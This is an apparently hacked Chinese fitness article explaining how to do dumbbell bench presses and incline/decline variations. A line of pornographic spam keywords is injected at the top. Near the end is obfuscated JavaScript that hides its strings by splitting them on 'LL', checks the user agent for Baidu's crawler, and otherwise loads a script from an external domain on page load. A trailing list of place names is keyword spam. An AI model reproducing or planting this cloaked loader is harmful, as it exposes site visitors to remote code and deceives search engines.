亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

仰臥啞鈴?fù)婆e的鍛煉方法

2017-04-14 19:14:02  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):仰臥啞鈴?fù)婆e是鍛煉胸肌的好方法,同時(shí)對(duì)三角肌、肱三頭肌都能夠得到很好鍛煉,同杠鈴?fù)婆e相比較來說它的動(dòng)作更大,肌肉鍛煉效果也非常好,

仰臥啞鈴?fù)婆e是鍛煉胸肌的好方法,同時(shí)對(duì)三角肌、肱三頭肌都能夠得到很好鍛煉,同杠鈴?fù)婆e相比較來說它的動(dòng)作更大,肌肉鍛煉效果也非常好,另外也可以做單臂運(yùn)動(dòng),這比較好地發(fā)揮了肌肉的穩(wěn)定效果,當(dāng)然在鍛煉時(shí)要保持注意力集中,避免出現(xiàn)拉傷。

一、開始姿勢(shì):仰臥于長(zhǎng)凳上,雙手持啞鈴,肩胛骨并攏,腰部彎曲,雙腳著地保持穩(wěn)定。開始的時(shí)候,拳眼相對(duì),啞鈴處于同一直線上。

二、做動(dòng)作的技巧:向上推舉啞鈴,并將啞鈴稍稍并攏,動(dòng)作完成后呼氣,平穩(wěn)的回到起始姿勢(shì),吸氣。在做訓(xùn)練時(shí),注意觀察啞鈴的運(yùn)動(dòng)軌跡,你應(yīng)該平穩(wěn)的推舉啞鈴,肘部向兩側(cè)伸展,手臂應(yīng)在同一垂直平面上運(yùn)動(dòng),將啞鈴稍稍并攏可以擴(kuò)大胸肌的活動(dòng)范圍,增強(qiáng)整個(gè)訓(xùn)練的效果。不要把手臂完全伸直,以免肱三頭肌受到過大壓力。

三、做動(dòng)作的其他花樣:您可以調(diào)整長(zhǎng)凳的傾斜角度,這樣可以全面鍛煉胸肌的各個(gè)部分。如果長(zhǎng)凳的傾斜角度是30-40度,那么胸肌的上部會(huì)受到很好的鍛煉,這叫做上斜啞鈴?fù)婆e。為了鍛煉胸肌的下部,請(qǐng)將長(zhǎng)凳的傾斜角度向下調(diào)小,這叫下斜啞鈴?fù)婆e。

想要鍛煉出完美和健美的身材就需要進(jìn)行多方面的鍛煉,讓身體肌肉綜合協(xié)調(diào)發(fā)展,在鍛煉期間也要注意對(duì)飲食營(yíng)養(yǎng)補(bǔ)充,多吃一些富蛋白質(zhì)的食物,少吃油膩或多鹽食物,注意運(yùn)動(dòng)期間不要過度勞累,一切以自己能夠適應(yīng)主前提。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
南通市| 长岭县| 英超| 富源县| 铁岭市| 乐平市| 金乡县| 延吉市| 武山县| 江达县| 兴和县| 郑州市| 林周县| 高清| 东至县| 兴仁县| 闵行区| 临安市| 凭祥市| 寻甸| 江陵县| 辽中县| 孝义市| 富裕县| 邹城市| 天台县| 甘谷县| 云林县| 齐齐哈尔市| 山阴县| 洞口县| 林芝县| 武强县| 阳谷县| 象州县| 东源县| 巴青县| 永兴县| 黔西| 张家界市| 石门县|